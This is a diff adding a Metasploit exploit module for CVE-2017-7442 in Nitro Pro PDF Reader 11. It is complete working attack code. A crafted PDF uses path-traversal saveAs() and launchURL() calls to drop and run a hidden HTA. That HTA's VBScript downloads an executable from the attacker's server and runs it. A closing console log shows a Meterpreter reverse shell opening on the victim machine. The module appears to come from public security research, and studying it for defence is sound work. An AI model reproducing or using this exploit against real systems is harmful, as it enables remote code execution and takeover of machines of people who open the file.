|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpServer::HTML |
| 10 | + include Msf::Exploit::FileDropper |
| 11 | + include Msf::Exploit::FILEFORMAT |
| 12 | + include Msf::Exploit::EXE |
| 13 | + |
| 14 | + def initialize(info={}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Nitro Pro PDF Reader 11.0.3.173 Javascript API Remote Code Execution', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits an unsafe Javascript API implemented in Nitro and Nitro Pro |
| 19 | + PDF Reader version 11. The saveAs() Javascript API function allows for writing |
| 20 | + arbitrary files to the file system. Additionally, the launchURL() function allows |
| 21 | + an attacker to execute local files on the file system and bypass the security dialog |
| 22 | +
|
| 23 | + Note: This is 100% reliable. |
| 24 | + }, |
| 25 | + 'License' => MSF_LICENSE, |
| 26 | + 'Author' => |
| 27 | + [ |
| 28 | + 'mr_me <steven[at]srcincite.io>', # vulnerability discovery and exploit |
| 29 | + 'Brendan Coles <bcoles [at] gmail.com>', # hidden hta tricks! |
| 30 | + 'sinn3r' # help with msf foo! |
| 31 | + ], |
| 32 | + 'References' => |
| 33 | + [ |
| 34 | + [ 'CVE', '2017-7442' ], |
| 35 | + [ 'URL', 'http://srcincite.io/advisories/src-2017-0005/' ], # public advisory #1 |
| 36 | + [ 'URL', 'https://blogs.securiteam.com/index.php/archives/3251' ], # public advisory #2 (verified and acquired by SSD) |
| 37 | + ], |
| 38 | + 'DefaultOptions' => |
| 39 | + { |
| 40 | + 'DisablePayloadHandler' => false |
| 41 | + }, |
| 42 | + 'Platform' => 'win', |
| 43 | + 'Targets' => |
| 44 | + [ |
| 45 | + # truly universal |
| 46 | + [ 'Automatic', { } ], |
| 47 | + ], |
| 48 | + 'DisclosureDate' => 'Jul 24 2017', |
| 49 | + 'DefaultTarget' => 0)) |
| 50 | + |
| 51 | + register_options([ |
| 52 | + OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), |
| 53 | + OptString.new('URIPATH', [ true, "The URI to use.", "/" ]), |
| 54 | + ]) |
| 55 | + deregister_options('SSL', 'SSLVersion', 'SSLCert') |
| 56 | + end |
| 57 | + |
| 58 | + def build_vbs(url, stager_name) |
| 59 | + name_xmlhttp = rand_text_alpha(2) |
| 60 | + name_adodb = rand_text_alpha(2) |
| 61 | + vbs = %Q|<head><hta:application |
| 62 | + applicationname="#{@payload_name}" |
| 63 | + border="none" |
| 64 | + borderstyle="normal" |
| 65 | + caption="false" |
| 66 | + contextmenu="false" |
| 67 | + icon="%SystemRoot%/Installer/{7E1360F1-8915-419A-B939-900B26F057F0}/Professional.ico" |
| 68 | + maximizebutton="false" |
| 69 | + minimizebutton="false" |
| 70 | + navigable="false" |
| 71 | + scroll="false" |
| 72 | + selection="false" |
| 73 | + showintaskbar="No" |
| 74 | + sysmenu="false" |
| 75 | + version="1.0" |
| 76 | + windowstate="Minimize"></head> |
| 77 | + <style>* { visibility: hidden; }</style> |
| 78 | + <script language="VBScript"> |
| 79 | + window.resizeTo 1,1 |
| 80 | + window.moveTo -2000,-2000 |
| 81 | + </script> |
| 82 | + <script type="text/javascript">setTimeout("window.close()", 5000);</script> |
| 83 | + <script language="VBScript"> |
| 84 | + On Error Resume Next |
| 85 | + Set #{name_xmlhttp} = CreateObject("Microsoft.XMLHTTP") |
| 86 | + #{name_xmlhttp}.open "GET","http://#{url}",False |
| 87 | + #{name_xmlhttp}.send |
| 88 | + Set #{name_adodb} = CreateObject("ADODB.Stream") |
| 89 | + #{name_adodb}.Open |
| 90 | + #{name_adodb}.Type=1 |
| 91 | + #{name_adodb}.Write #{name_xmlhttp}.responseBody |
| 92 | + #{name_adodb}.SaveToFile "C:#{@temp_folder}/#{@payload_name}.exe",2 |
| 93 | + set shellobj = CreateObject("wscript.shell") |
| 94 | + shellobj.Run "C:#{@temp_folder}/#{@payload_name}.exe",0 |
| 95 | + </script>| |
| 96 | + vbs.gsub!(/ /,'') |
| 97 | + return vbs |
| 98 | + end |
| 99 | + |
| 100 | + def on_request_uri(cli, request) |
| 101 | + if request.uri =~ /\.exe/ |
| 102 | + print_status("Sending second stage payload") |
| 103 | + return if ((p=regenerate_payload(cli)) == nil) |
| 104 | + data = generate_payload_exe( {:code=>p.encoded} ) |
| 105 | + send_response(cli, data, {'Content-Type' => 'application/octet-stream'} ) |
| 106 | + return |
| 107 | + end |
| 108 | + end |
| 109 | + |
| 110 | + def exploit |
| 111 | + # In order to save binary data to the file system the payload is written to a .vbs |
| 112 | + # file and execute it from there. |
| 113 | + @payload_name = rand_text_alpha(4) |
| 114 | + @temp_folder = "/Windows/Temp" |
| 115 | + register_file_for_cleanup("C:#{@temp_folder}/#{@payload_name}.hta") |
| 116 | + if datastore['SRVHOST'] == '0.0.0.0' |
| 117 | + lhost = Rex::Socket.source_address('50.50.50.50') |
| 118 | + else |
| 119 | + lhost = datastore['SRVHOST'] |
| 120 | + end |
| 121 | + payload_src = lhost |
| 122 | + payload_src << ":#{datastore['SRVPORT']}#{datastore['URIPATH']}#{@payload_name}.exe" |
| 123 | + stager_name = rand_text_alpha(6) + ".vbs" |
| 124 | + pdf = %Q|%PDF-1.7 |
| 125 | + 4 0 obj |
| 126 | + << |
| 127 | + /Length 0 |
| 128 | + >> |
| 129 | + stream |
| 130 | + | |
| 131 | + pdf << build_vbs(payload_src, stager_name) |
| 132 | + pdf << %Q| |
| 133 | + endstream endobj |
| 134 | + 5 0 obj |
| 135 | + << |
| 136 | + /Type /Page |
| 137 | + /Parent 2 0 R |
| 138 | + /Contents 4 0 R |
| 139 | + >> |
| 140 | + endobj |
| 141 | + 1 0 obj |
| 142 | + << |
| 143 | + /Type /Catalog |
| 144 | + /Pages 2 0 R |
| 145 | + /OpenAction [ 5 0 R /Fit ] |
| 146 | + /Names << |
| 147 | + /JavaScript << |
| 148 | + /Names [ (EmbeddedJS) |
| 149 | + << |
| 150 | + /S /JavaScript |
| 151 | + /JS ( |
| 152 | + this.saveAs('../../../../../../../../../../../../../../../..#{@temp_folder}/#{@payload_name}.hta'); |
| 153 | + app.launchURL('c$:/../../../../../../../../../../../../../../../..#{@temp_folder}/#{@payload_name}.hta'); |
| 154 | + ) |
| 155 | + >> |
| 156 | + ] |
| 157 | + >> |
| 158 | + >> |
| 159 | + >> |
| 160 | + endobj |
| 161 | + 2 0 obj |
| 162 | + <</Type/Pages/Count 1/Kids [ 5 0 R ]>> |
| 163 | + endobj |
| 164 | + 3 0 obj |
| 165 | + <<>> |
| 166 | + endobj |
| 167 | + xref |
| 168 | + 0 6 |
| 169 | + 0000000000 65535 f |
| 170 | + 0000000166 00000 n |
| 171 | + 0000000244 00000 n |
| 172 | + 0000000305 00000 n |
| 173 | + 0000000009 00000 n |
| 174 | + 0000000058 00000 n |
| 175 | + trailer << |
| 176 | + /Size 6 |
| 177 | + /Root 1 0 R |
| 178 | + >> |
| 179 | + startxref |
| 180 | + 327 |
| 181 | + %%EOF| |
| 182 | + pdf.gsub!(/ /,'') |
| 183 | + file_create(pdf) |
| 184 | + super |
| 185 | + end |
| 186 | +end |
| 187 | + |
| 188 | +=begin |
| 189 | +saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/nitro.rc |
| 190 | +[*] Processing scripts/nitro.rc for ERB directives. |
| 191 | +resource (scripts/nitro.rc)> use exploit/windows/fileformat/nitro_reader_jsapi |
| 192 | +resource (scripts/nitro.rc)> set payload windows/meterpreter/reverse_tcp |
| 193 | +payload => windows/meterpreter/reverse_tcp |
| 194 | +resource (scripts/nitro.rc)> set LHOST 172.16.175.1 |
| 195 | +LHOST => 172.16.175.1 |
| 196 | +resource (scripts/nitro.rc)> exploit |
| 197 | +[*] Exploit running as background job. |
| 198 | +
|
| 199 | +[*] Started reverse TCP handler on 172.16.175.1:4444 |
| 200 | +msf exploit(nitro_reader_jsapi) > [+] msf.pdf stored at /Users/mr_me/.msf4/local/msf.pdf |
| 201 | +[*] Using URL: http://0.0.0.0:8080/ |
| 202 | +[*] Local IP: http://192.168.100.4:8080/ |
| 203 | +[*] Server started. |
| 204 | +[*] 192.168.100.4 nitro_reader_jsapi - Sending second stage payload |
| 205 | +[*] Sending stage (957487 bytes) to 172.16.175.232 |
| 206 | +[*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.232:49180) at 2017-04-05 14:01:33 -0500 |
| 207 | +[+] Deleted C:/Windows/Temp/UOIr.hta |
| 208 | +
|
| 209 | +msf exploit(nitro_reader_jsapi) > sessions -i 1 |
| 210 | +[*] Starting interaction with 1... |
| 211 | +
|
| 212 | +meterpreter > shell |
| 213 | +Process 2412 created. |
| 214 | +Channel 2 created. |
| 215 | +Microsoft Windows [Version 6.1.7601] |
| 216 | +Copyright (c) 2009 Microsoft Corporation. All rights reserved. |
| 217 | +
|
| 218 | +C:\Users\researcher\Desktop> |
| 219 | +=end |
0 commit comments